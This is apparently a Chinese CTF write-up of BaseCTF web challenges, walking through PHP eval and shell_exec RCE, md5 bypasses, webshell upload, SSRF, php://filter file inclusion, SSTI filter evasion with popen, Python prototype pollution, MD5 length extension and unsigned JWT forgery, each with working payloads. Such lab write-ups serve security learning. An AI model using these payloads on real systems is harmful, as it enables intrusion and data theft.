A Dark Room

出题: Kengwang

难度: 入门

 

文字游戏 玩得开心!


玩了1分钟文字游戏才想起来看源代码,flag就在源代码注释当中


喵喵喵´•ﻌ•`

出题: Delete

难度: 入门

 

小明在学习PHP的过程中发现,原来php也可以执行系统的命令,于是开始疯狂学习.....

<?php
highlight_file(__FILE__);
error_reporting(0);

$a = $_GET['DT'];

eval($a);

?>

传参DT

eval函数可以执行命令

?DT=echo exec('cat /flag');得到flag

 

md5绕过欸

出题: ClearWine

难度: 入门

 

绕哇绕哇绕

<?php
highlight_file(__FILE__);
error_reporting(0);
require 'flag.php';

if (isset($_GET['name']) && isset($_POST['password']) && isset($_GET['name2']) && isset($_POST['password2']) ){
    $name = $_GET['name'];
    $name2 = $_GET['name2'];
    $password = $_POST['password'];
    $password2 = $_POST['password2'];
    if ($name != $password && md5($name) == md5($password)){
        if ($name2 !== $password2 && md5($name2) === md5($password2)){
            echo $flag;
        }
        else{
            echo "再看看啊,马上绕过嘞!";
        }
    }
    else {
        echo "错啦错啦";
    }

}
else {
    echo '没看到参数呐';
}
?> 没看到参数呐

分析代码;

需要用GET方式传入参数namename2

POST方式传入参数passwordpassword2

namepassword不能相等,name2password2不能相等

并且弱比较他们之间的md5值,如果相等则输出flag

解题:

namename2可以使用0e绕过

passwordpassword2可以使用数组绕过


HTTP 是什么呀

出题: Kengwang

难度: 入门

 

成为嘿客的第一步!当然是 HTTP 啦!

可以多使用搜索引擎搜索每个参数的含义以及传参方式

 

看看你是怎么到达最后一个页面的,中途是不是经过了什么?

 

这一串乱码是什么呀。等下,比赛好像叫做 BaseCTF?


和校赛差不多


 

upload

出题: Kengwang

难度: 入门

 

快来上传你最喜欢的照片吧~ 等下,这个 php 后缀的照片是什么?


直接点击上传的话会显示源代码

<?php
error_reporting(0);
if (isset($_FILES['file'])) {
    highlight_file(__FILE__);
    $file = $_FILES['file'];
    $filename = $file['name'];
    $filetype = $file['type'];
    $filesize = $file['size'];
    $filetmp = $file['tmp_name'];
    $fileerror = $file['error'];

    if ($fileerror === 0) {
        $destination = 'uploads/' . $filename;
        move_uploaded_file($filetmp, $destination);
        echo 'File uploaded successfully';
    } else {
        echo 'Error uploading file';
    }
}
?>
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>上传你喜欢的图片吧!</title>
</head>

<body>
    <form action="" method="post" enctype="multipart/form-data">
        <input type="file" name="file">
        <button type="submit">上传!</button>
    </form>
    <?php
    $files = scandir('uploads');
    foreach ($files as $file) {
        if ($file === '.' || $file === '..') {
            continue;
        }
        echo "<img src='uploads/$file' style=\"max-height: 200px;\" />";
    }
    ?>
</body>

</html> Error uploading file

上传一个空白测试图片试试


访问/uploads/test.jpg可以直接看见上传的图片

再试试上传一句话


没有过滤,可以开始执行命令


Aura 酱的礼物

出题: Kengwang

难度: 简单

 

你好呀, Aura 酱,这是给你的礼物哦~ 快打开看看里面是什么吧!

 

Aura 的博客似乎没有留言区?但是真的要去 Aura 的博客里面找吗?可以换个地方找吗?

 

哪里有感谢的一句话呢?远在天边,似乎就在眼前,就决定是他了吧!

 

为什么 Flag 是空的?不对劲,base64 一下再看看?

 

推荐搜索关键词: 伪协议,SSRF

<?php
highlight_file(__FILE__);
// Aura 酱,欢迎回家~
// 这里有一份礼物,请你签收一下哟~
$pen = $_POST['pen'];
if (file_get_contents($pen) !== 'Aura')
{
    die('这是 Aura 的礼物,你不是 Aura!');
}

// 礼物收到啦,接下来要去博客里面写下感想哦~
$challenge = $_POST['challenge'];
if (strpos($challenge, 'http://jasmineaura.github.io') !== 0)
{
    die('这不是 Aura 的博客!');
}

$blog_content = file_get_contents($challenge);
if (strpos($blog_content, '已经收到Kengwang的礼物啦') === false)
{
    die('请去博客里面写下感想哦~');
}

// 嘿嘿,接下来要拆开礼物啦,悄悄告诉你,礼物在 flag.php 里面哦~
$gift = $_POST['gift'];
include($gift); 这是 Aura 的礼物,你不是 Aura!

总共三个判断,同时满足就显示flag

第一部分

$pen = $_POST['pen'];
if (file_get_contents($pen) !== 'Aura')
{
    die('这是 Aura 的礼物,你不是 Aura!');
}

  • 使用POST传参pen
  • file_get_contents() 是PHP中用于将文件内容读入字符串的函数。这个函数非常适合于读取文件数据,因为它可以一次性读取整个文件,并且支持对HTTP请求进行处理。

也就是说这是在判断读取pen的内容是否为Aura

使用伪协议

data://text/plain,Aura

第一部分通过


第二部分

// 礼物收到啦,接下来要去博客里面写下感想哦~
$challenge = $_POST['challenge'];
if (strpos($challenge, 'http://jasmineaura.github.io') !== 0)
{
    die('这不是 Aura 的博客!');
}

$blog_content = file_get_contents($challenge);
if (strpos($blog_content, '已经收到Kengwang的礼物啦') === false)
{
    die('请去博客里面写下感想哦~');
}
  • 使用POST传参challenge
  • <font style="color:crimson;background-color:rgba(222, 222, 222, 0.3);">strpos()</font> 函数查找字符串在另一字符串中第一次出现的位置。
  • <font style="color:crimson;background-color:rgba(222, 222, 222, 0.3);">strpos()</font> 函数对大小写敏感。

例如:

<!DOCTYPE html>
<html>
<body>

<?php
echo strpos("I love php, I love php too!","php");
?> 

</body>
</html>

这个代码执行之后会输出7

回到题目,也就是说要在第0位出现[http://jasmineaura.github.io](http://jasmineaura.github.io')才能够通过

那个博客没有留言板 也没有任何隐藏信息

所以我们利用解析原理 可以构造一个[http://jasmineaura.github.io@127.0.0.1](http://jasmineaura.github.io@127.0.0.1)这样网站会自动访问后面的网址

data://text/plain,Aura&challenge=[http://jasmineaura.github.io@127.0.0.1](http://jasmineaura.github.io@127.0.0.1)

第二关通过


第三部分

// 嘿嘿,接下来要拆开礼物啦,悄悄告诉你,礼物在 flag.php 里面哦~
$gift = $_POST['gift'];
include($gift);

任意文件包含

可以采用伪协议编码成base64进行输出


data://text/plain,Aura&challenge=[http://jasmineaura.github.io@127.0.0.1](http://jasmineaura.github.io@127.0.0.1)&gift=php://filter/convert.base64-encode/resource=flag.php

解码后得到flag

ez_ser

出题: Delete

难度: 入门

 

简单的反序列化入门,喵喵喵

<?php
highlight_file(__FILE__);
error_reporting(0);

class re{
    public $chu0;
    public function __toString(){
        if(!isset($this->chu0)){
            return "I can not believes!";
        }
        $this->chu0->$nononono;
    }
}

class web {
    public $kw;
    public $dt;

    public function __wakeup() {
        echo "lalalla".$this->kw;
    }

    public function __destruct() {
        echo "ALL Done!";
    }
}

class pwn {
    public $dusk;
    public $over;

    public function __get($name) {
        if($this->dusk != "gods"){
            echo "什么,你竟敢不认可?";
        }
        $this->over->getflag();
    }
}

class Misc {
    public $nothing;
    public $flag;

    public function getflag() {
        eval("system('cat /flag');");
    }
}

class Crypto {
    public function __wakeup() {
        echo "happy happy happy!";
    }

    public function getflag() {
        echo "you are over!";
    }
}
$ser = $_GET['ser'];
unserialize($ser);
?>

 

 

 

 

 

一起吃豆豆

出题: Goku

难度: 简单

 

大家都爱玩的JS小游戏


吃豆人小游戏,看看JS逻辑

在这里发现一串base64,解密后得到flag


你听不到我的声音

出题: Kengwang

难度: 简单

 

我要执行 shell 指令啦! 诶? 他的输出是什么? 为什么不给我?

<?php
highlight_file(__FILE__);
shell_exec($_POST['cmd']);
  • POST传入参数cmd

shell_exec表示这是无回显的rce

将命令执行结果写入文件即可

POST:``cmd=ls / > 1.txt

访问1.txt


同理将payload修改为cat /flag得到flag

RCEisamazingwithspace

出题: Kengwang

难度: 简单

 

RCEisreallingamazingwithoutaspacesoyoushouldfindoutawaytoreplacespace

<?php
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
// check if space is present in the command
// use of preg_match to check if space is present in the command
if (preg_match('/\s/', $cmd)) {
    echo 'Space not allowed in command';
    exit;
}

// execute the command
system($cmd);
  • POST传参cmd
  • 过滤空格

POST:``cmd=ls可用,回显


POST:``cmd=ls /不可用,回显<font style="color:rgb(221, 0, 0);">Space not allowed in command</font>

在系统命令当中$IFS表示空

可以利用这个来执行命令

POST:``cmd=ls$IFS$1/或者

POST:``cmd=ls$IFS/

都可用,回显


读取flag

POST:``cmd=cat$IFS$1/flag得到flag

所以你说你懂 MD5?

出题: Kengwang

难度: 中等

 

所以你说你懂 MD5?

 

可以了解一下 MD5 长度拓展攻击

<?php
session_start();
highlight_file(__FILE__);
// 所以你说你懂 MD5 了?

$apple = $_POST['apple'];
$banana = $_POST['banana'];
if (!($apple !== $banana && md5($apple) === md5($banana))) {
    die('加强难度就不会了?');
}

// 什么? 你绕过去了?
// 加大剂量!
// 我要让他成为 string
$apple = (string)$_POST['appple'];
$banana = (string)$_POST['bananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) == md5((string)$banana))) {
    die('难吗?不难!');
}

// 你还是绕过去了?
// 哦哦哦, 我少了一个等于号
$apple = (string)$_POST['apppple'];
$banana = (string)$_POST['banananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) === md5((string)$banana))) {
    die('嘻嘻, 不会了? 没看直播回放?');
}

// 你以为这就结束了
if (!isset($_SESSION['random'])) {
    $_SESSION['random'] = bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) . bin2hex(random_bytes(16));
}

// 你想看到 random 的值吗?
// 你不是很懂 MD5 吗? 那我就告诉你他的 MD5 吧
$random = $_SESSION['random'];
echo md5($random);
echo '<br />';

$name = $_POST['name'] ?? 'user';

// check if name ends with 'admin'
if (substr($name, -5) !== 'admin') {
    die('不是管理员也来凑热闹?');
}

$md5 = $_POST['md5'];
if (md5($random . $name) !== $md5) {
    die('伪造? NO NO NO!');
}

// 认输了, 看样子你真的很懂 MD5
// 那 flag 就给你吧
echo "看样子你真的很懂 MD5";
echo file_get_contents('/flag'); 加强难度就不会了?

第一部分

$apple = $_POST['apple'];
$banana = $_POST['banana'];
if (!($apple !== $banana && md5($apple) === md5($banana))) {
    die('加强难度就不会了?');
}
  • POST传参applebanana
  • 强比较两个参数的md5值

使用数组绕过

POST:``apple[]=1&banana[]=2

返回

<font style="color:rgb(0, 0, 0);">难吗?不难!</font>

成功绕过第一部分


第二部分

// 什么? 你绕过去了?
// 加大剂量!
// 我要让他成为 string
$apple = (string)$_POST['appple'];
$banana = (string)$_POST['bananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) == md5((string)$banana))) {
    die('难吗?不难!');
  • POST传参appple``bananana
  • 将参数转化为string(字符串格式)再进行弱比较md5

使用0e绕过

appple=QNKCDZO&bananana=240610708为特殊值

payload:

apple[]=1&banana[]=2&appple=QNKCDZO&bananana=240610708

返回

<font style="color:rgb(0, 0, 0);">嘻嘻, 不会了? 没看直播回放?</font>

成功绕过第二部分


第三部分

// 你还是绕过去了?
// 哦哦哦, 我少了一个等于号
$apple = (string)$_POST['apppple'];
$banana = (string)$_POST['banananana'];
if (!((string)$apple !== (string)$banana && md5((string)$apple) === md5((string)$banana))) {
    die('嘻嘻, 不会了? 没看直播回放?');
}
  • 严格比较

有两组完全相同md5值的字符串:

TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak

TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak

payload:

apple[]=1&banana[]=2&appple=QNKCDZO&bananana=240610708&apppple=TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak&banananana=TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak

返回<font style="color:rgb(0, 0, 0);">129d7904e2693024a953ed9187888ec6</font>
<font style="color:rgb(0, 0, 0);">不是管理员也来凑热闹?</font>

成功绕过第三部分


第四部分

// 你以为这就结束了
if (!isset($_SESSION['random'])) {
    $_SESSION['random'] = bin2hex(random_bytes(16)) . bin2hex(random_bytes(16)) . bin2hex(random_bytes(16));
}

// 你想看到 random 的值吗?
// 你不是很懂 MD5 吗? 那我就告诉你他的 MD5 吧
$random = $_SESSION['random'];
echo md5($random);
echo '<br />';

$name = $_POST['name'] ?? 'user';

// check if name ends with 'admin'
if (substr($name, -5) !== 'admin') {
    die('不是管理员也来凑热闹?');
}

$md5 = $_POST['md5'];
if (md5($random . $name) !== $md5) {
    die('伪造? NO NO NO!');
}

// 认输了, 看样子你真的很懂 MD5
// 那 flag 就给你吧
echo "看样子你真的很懂 MD5";
echo file_get_contents('/flag');
  • md5长度拓展攻击
  • 题目使用三个随机16位字符串,转16进制后得到一个96位的字符串,作为random
  • 附加admin结尾

跟着网上的教程使用hashpump工具


name=%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%03%00%00%00%00%00%00admin&md5=5650ccd5e941b725f86ddc48f9ea5e10

拼接在一起得到flag

数学大师

出题: Kengwang

难度: 中等

 

Kengwang 的数学特别差, 他的计算器坏掉了, 你能快速帮他完成数学计算题吗?

 

每一道题目需要在 5 秒内解出, 传入到 $_POST['answer'] 中, 解出 50 道即可, 除法取整

 

本题依赖 session,请在请求时开启 session cookie

题目如下


需要用正则来筛选数据,脚本如下

import requests
import re

req = requests.session()
url = "http://challenge.imxbt.cn:31035/"

answer = 0
while True:
    response = req.post(url , data={"answer": answer})
    print(response.text)
    if "BaseCTF" in response.text:
        print(response.text)
        break
    regex = r" (\d*?)(.)(\d*)\?"
    match = re.search(regex, response.text)
    if match.group(2) == "+":
        answer = int(match.group(1)) + int(match.group(3))
    elif match.group(2) == "-":
        answer = int(match.group(1)) - int(match.group(3))
    elif match.group(2) == "×":
        answer = int(match.group(1)) * int(match.group(3))
    elif match.group(2) == "÷":
        answer = int(match.group(1)) // int(match.group(3))


复读机

出题: 晨曦

难度: 简单

 

一位复读机发明了一个复读机来复读flag

题目长这样


随便输入一串flag会将自己输入的内容显示一遍,而且格式必须为BaseCTF{xxxx}


联想到模板注入(SSTI)

测试{{7*7}}但是被过滤,说明确实存在注入点


经过测试过滤了以下字符

+ - * / . {{ }} __ : " \

后来发现单引号''可以绕过,将关键字用单引号框柱

BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137])%}

可以返回


继续利用这个类下面的popen函数

BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('pwd')['rea''d']())%}


查看环境变量

BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('env')['rea''d']())%}


可以看到有一个OLDPWD=/的目录,利用它来返回根目录读取flag

BaseCTF{%print(''['_''_cl''ass_''_']['_''_ba''se_''_']['_''_subcla''sses_''_']()[137]['_''_in''it_''_']['_''_glo''bals_''_']['po''pen']('cd $OLDPWD;cat flag')['rea''d']())%}


滤个不停

出题: Datch

难度: 中等

 

过滤这么多还怎么玩!等等....不对劲

<?php
highlight_file(__FILE__);
error_reporting(0);

$incompetent = $_POST['incompetent'];
$Datch = $_POST['Datch'];

if ($incompetent !== 'HelloWorld') {
    die('写出程序员的第一行问候吧!');
}

//这是个什么东东???
$required_chars = ['s', 'e', 'v', 'a', 'n', 'x', 'r', 'o'];
$is_valid = true;

foreach ($required_chars as $char) {
    if (strpos($Datch, $char) === false) {
        $is_valid = false;
        break;
    }
}

if ($is_valid) {

    $invalid_patterns = ['php://', 'http://', 'https://', 'ftp://', 'file://' , 'data://', 'gopher://'];

    foreach ($invalid_patterns as $pattern) {
        if (stripos($Datch, $pattern) !== false) {
            die('此路不通换条路试试?');
        }
    }


    include($Datch);
} else {
    die('文件名不合规 请重试');
}
?>

总共有三个判断


第一部分

$incompetent = $_POST['incompetent'];
$Datch = $_POST['Datch'];

if ($incompetent !== 'HelloWorld') {
    die('写出程序员的第一行问候吧!');
}
  • POST传入参数incompetent判断是否为HelloWorld

HackBar直接传就行

incompetent=HelloWorld

第二部分

//这是个什么东东???
$required_chars = ['s', 'e', 'v', 'a', 'n', 'x', 'r', 'o'];
$is_valid = true;

foreach ($required_chars as $char) {
    if (strpos($Datch, $char) === false) {
        $is_valid = false;
        break;
    }
}
  • 要求Datch里面有这些's', 'e', 'v', 'a', 'n', 'x', 'r', 'o'字符

strpos()可以使用数组形式绕过

incompetent=HelloWorld&Datch[]=1

第三部分

if ($is_valid) {

    $invalid_patterns = ['php://', 'http://', 'https://', 'ftp://', 'file://' , 'data://', 'gopher://'];

    foreach ($invalid_patterns as $pattern) {
        if (stripos($Datch, $pattern) !== false) {
            die('此路不通换条路试试?');
        }
    }


    include($Datch);
} else {
    die('文件名不合规 请重试');
}

换一条路,既然服务器为nginx,这几个's', 'e', 'v', 'a', 'n', 'x', 'r', 'o'字符指引着要读取日志



可以访问日志,联想到日志注入,在ua写入命令即可


ez_php_jail

出题:Delete 难度:中等

 

DT最怕坐牢了...但是包吃包住啊!

<?php
highlight_file(__FILE__);
error_reporting(0);
include("hint.html");
$Jail = $_GET['Jail_by.Happy'];

if($Jail == null) die("Do You Like My Jail?");

function Like_Jail($var) {
    if (preg_match('/(`|\$|a|c|s|require|include)/i', $var)) {
        return false;
    }
    return true;
}

if (Like_Jail($Jail)) {
    eval($Jail);
    echo "Yes! you escaped from the jail! LOL!";
} else {
    echo "You will Jail in your life!";
}
echo "\n";

// 在HTML解析后再输出PHP源代码

?>
  • GET传参Jail_by.Happy
  • php版本小于8时,.会被转为_但是如果参数名中有 [ ,这个 [ 会被直接转为 _ 但是后⾯如果有 .这个 . 就不会被转为 _ 所以把参数名改为Jail[by.Happy
  • 过滤了/(|$|a|c|s|require|include)/i`这些字符

查看源代码


base64解码之后得到ph0_info_Like_jail.php

要查看这个php文件的内容,需要用highlight_file语法高亮来显示

过滤了很多字符但是没有过滤通配符*

可以使用glob()匹配字符,然后取索引为0的内容返回

Payload

?Jail[by.Happy=highlight_file(glob('/f*')[0]);

 

圣钥之战1.0

出题: J1ngHong

难度: 中等

 

J1ngHong大魔王不会让你污染圣钥的!


访问一下/read

J1ngHong说:你想read flag吗?
那么圣钥之光必将阻止你!
但是小小的源码没事,因为你也读不到flag(乐)
from flask import Flask,request
import json

app = Flask(__name__)

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

def is_json(data):
    try:
        json.loads(data)
        return True
    except ValueError:
        return False

class cls():
    def __init__(self):
        pass

instance = cls()

@app.route('/', methods=['GET', 'POST'])
def hello_world():
    return open('/static/index.html', encoding="utf-8").read()

@app.route('/read', methods=['GET', 'POST'])
def Read():
    file = open(__file__, encoding="utf-8").read()
    return f"J1ngHong说:你想read flag吗?
那么圣钥之光必将阻止你!
但是小小的源码没事,因为你也读不到flag(乐)
{file}
"

@app.route('/pollute', methods=['GET', 'POST'])
def Pollution():
    if request.is_json:
        merge(json.loads(request.data),instance)
    else:
        return "J1ngHong说:钥匙圣洁无暇,无人可以污染!"
    return "J1ngHong说:圣钥暗淡了一点,你居然污染成功了?"

if __name__ == '__main__':
    app.run(host='0.0.0.0',port=80)

原型链污染,修改全局变量的值为环境变量,访问全局变量得到环境变量里的payload,把__file__的路由改为/flag就可以读到flag

先传参pollute

POST json类型传参:``{"__init__" : {"__globals__" : {"__file__":"/flag"}}}

返回

<font style="color:rgb(0, 0, 0);">J1ngHong说:圣钥暗淡了一点,你居然污染成功了?</font>

再访问<font style="color:rgb(0, 0, 0);">/read</font>得到flag

J1ngHong说:你想read flag吗?
那么圣钥之光必将阻止你!
但是小小的源码没事,因为你也读不到flag(乐)
什么?你居然污染到圣钥了?不!不!不!
BaseCTF{7dfdf5a9-48b6-4d2f-91ad-3dd769079cac}

flag直接读取不就行了?

出题: J1ngHong

难度: 简单

 

你应该能找到flag吧?

<?php
highlight_file('index.php');
# 我把flag藏在一个secret文件夹里面了,所以要学会遍历啊~
error_reporting(0);
$J1ng = $_POST['J'];
$Hong = $_POST['H'];
$Keng = $_GET['K'];
$Wang = $_GET['W'];
$dir = new $Keng($Wang);
foreach($dir as $f) {
    echo($f . '<br>');
}
echo new $J1ng($Hong);
?>

使用DirectoryIterator遍历文件

?K=DirectoryIterator&W=/secret

返回
<font style="color:rgb(0, 0, 0);">f11444g.php</font>

然后使用<font style="color:rgb(0, 0, 0);">SplFileObject</font>来读取这个文件

<font style="color:rgb(0, 0, 0);">K=SplFileObject&W=/secret/f11444g.php</font>

flag在源代码当中,查看即可

No JWT

出题: Kengwang

难度: 入门

 

没有 JWT!

from flask import Flask, request, jsonify
import jwt
import datetime
import os
import random
import string

app = Flask(__name__)

# 随机生成 secret_key
app.secret_key = ''.join(random.choices(string.ascii_letters + string.digits, k=16))

# 登录接口
@app.route('/login', methods=['POST'])
def login():
    data = request.json
    username = data.get('username')
    password = data.get('password')

    # 其他用户都给予 user 权限
    token = jwt.encode({
        'sub': username,
        'role': 'user',  # 普通用户角色
        'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=1)
    }, app.secret_key, algorithm='HS256')
    return jsonify({'token': token}), 200

# flag 接口
@app.route('/flag', methods=['GET'])
def flag():
    token = request.headers.get('Authorization')

    if token:
        try:
            decoded = jwt.decode(token.split(" ")[1], options={"verify_signature": False, "verify_exp": False})
            # 检查用户角色是否为 admin
            if decoded.get('role') == 'admin':
                with open('/flag', 'r') as f:
                    flag_content = f.read()
                return jsonify({'flag': flag_content}), 200
            else:
                return jsonify({'message': 'Access denied: admin only'}), 403

        except FileNotFoundError:
            return jsonify({'message': 'Flag file not found'}), 404
        except jwt.ExpiredSignatureError:
            return jsonify({'message': 'Token has expired'}), 401
        except jwt.InvalidTokenError:
            return jsonify({'message': 'Invalid token'}), 401
    return jsonify({'message': 'Token is missing'}), 401

if __name__ == '__main__':
    app.run(debug=True)

在这一部分有一个漏洞

decoded = jwt.decode(token.split(" ")[1], options={"verify_signature": False, "verify_exp": False})
  • <font style="color:rgb(0, 0, 0);">verify_signature: False</font> JWT 签名验证被禁用
  • <font style="color:rgb(0, 0, 0);">verify_exp: False</font> 令牌过期时间验证被禁用
  • 可以伪造任意 JWT 令牌,将 role 设置为 admin 来获取 flag

先用curl发送一次普通用户请求,直接在浏览器访问看不见

curl -X POST http://challenge.imxbt.cn:32622/login   -H "Content-Type: applicatio
n/json"   -d '{"username":"test","password":"test"}'

得到以下内容

{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ0ZXN0Iiwicm9sZSI6InVzZXIiLCJleHAiOjE3NjQzMjE0MTV9.mnRfOeoGv_XpLThSXI4rWhhno9P7YHKnNnTgT1hL7O0"}

将token解码之后得到

{"alg":"HS256","typ":"JWT"}{"sub":"test","role":"user","exp":1764321415}mnRfOeoGv_XpLThSXI4rWhhno9P7YHKnNnTgT1hL7O0

现在修改一下将role改为admin

得到新的token

Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiIsImV4cCI6MTk5OTk5OTk5OX0.

将修改后的token放入Authorization头当中,然后访问/flag得到flag

curl -X GET http://challenge.imxbt.cn:32622/flag \
  -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiIsImV4cCI6MTk5OTk5OTk5OX0."

Back to the future

出题: Kengwang

难度: 简单

 

本题理论不需要扫描器



题目让我寻找一些东西,先查看一下robots.txt


有一个git页面,可能是git泄露

使用Git_Extract-master这个工具试试


有一个flag.txt,打开就是flag

Jinja Mark

出题: J1ngHong

难度: 中等

 

ssti注入只会用带花括号的payload?逊诶


按照要求进入/flag


按照要求用POST方式提交参数

yakit爆破一下


最后筛选出来一个响应长度不一样的包,这个包给了一些源码



BLACKLIST_IN_index = ['{','}']
def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)
@app.route('/magic',methods=['POST', 'GET'])
def pollute():
    if request.method == 'POST':
        if request.is_json:
            merge(json.loads(request.data), instance)
            return "这个魔术还行吧"
        else:
            return "我要json的魔术"
    return "记得用POST方法把魔术交上来"
  • 定义了黑名单{}
  • /magic可以原型链污染

将全局变量黑名单修改为[]

import requests
import json
 
# 目标URL
url = "http://challenge.imxbt.cn:30327/magic"
 
# 构造包含特殊键的 JSON 数据
payload = {
    "__class__":{
        "__init__":{
            "__globals__":{
                "BLACKLIST_IN_index" : []
            }
        }
    }
}
 
# 将 JSON 数据转换为字符串
payload_json = json.dumps(payload)
print(payload_json)
 
# 发送 POST 请求
response = requests.post(url, data=payload_json, headers={'Content-Type': 'application/json'})
 
# 打印响应内容
print("Status Code:", response.status_code)
print("Response Content:", response.text)

返回结果

{"__class__": {"__init__": {"__globals__": {"BLACKLIST_IN_index": []}}}}
Status Code: 200
Response Content: 这个魔术还行吧

现在再到/index可以无过滤地进行SSTI

读取flag

{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}


1z_php

出题: J1ngHong

难度: 中等

 

php没有难题(Kengwang和晨曦出的除外)

<?php
highlight_file('index.php');
# 我记得她...好像叫flag.php吧?
$emp=$_GET['e_m.p'];
$try=$_POST['try'];
if($emp!="114514"&&intval($emp,0)===114514)
{
    for ($i=0;$i<strlen($emp);$i++){
        if (ctype_alpha($emp[$i])){
            die("你不是hacker?那请去外场等候!");
        }
    }
    echo "只有真正的hacker才能拿到flag!"."<br>";

    if (preg_match('/.+?HACKER/is',$try)){
        die("你是hacker还敢自报家门呢?");
    }
    if (!stripos($try,'HACKER') === TRUE){
        die("你连自己是hacker都不承认,还想要flag呢?");
    }

    $a=$_GET['a'];
    $b=$_GET['b'];
    $c=$_GET['c'];
    if(stripos($b,'php')!==0){
        die("收手吧hacker,你得不到flag的!");
    }
    echo (new $a($b))->$c();
}
else
{
    die("114514到底是啥意思嘞?。?");
}
# 觉得困难的话就直接把shell拿去用吧,不用谢~
$shell=$_POST['shell'];
eval($shell);
?>

第一部分

if($emp!="114514"&&intval($emp,0)===114514)
{
    for ($i=0;$i<strlen($emp);$i++){
        if (ctype_alpha($emp[$i])){
            die("你不是hacker?那请去外场等候!");
        }
    }
}
  • php8以前,如果参数名当中出现[会被转化为_和其他题一样的方法传参的时候用e[m.p
  • 八进制绕过1145140337602

解决方法:

/?e[m.p=0337602

第二部分

if (preg_match('/.+?HACKER/is',$try)){
    die("你是hacker还敢自报家门呢?");
}
if (!stripos($try,'HACKER') === TRUE){
    die("你连自己是hacker都不承认,还想要flag呢?");
}
  • 禁止HACKER前面有字符
  • 要求HACKER不在开头位置

可以利用PCRE回溯限制


# 触发PCRE回溯限制(默认100万次)
data = {'try': 'A' * 1000000 + 'HACKER'}

第三部分

if(stripos($b,'php')!==0){
    die("收手吧hacker,你得不到flag的!");
}
echo (new $a($b))->$c();
  • php原生方法当中可以用SplFileObject类读取文件
  • base64编码读取文件内容
  • fgets方法读取内容
#传参内容
a=SplFileObject
b=php://filter/read=convert.base64-encode/resource=flag.php
c=fgets

脚本

import requests
res = requests.post("http://challenge.imxbt.cn:30581/?e[m.p=114514.1&a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php&c=__toString",data = {"try":"-"*1000001+"HACKER"})
print(res.text)


解码过后就是flag

 

允许自己做自己 允许一切如其所是 主方向:web安全
最后更新于 2025-12-29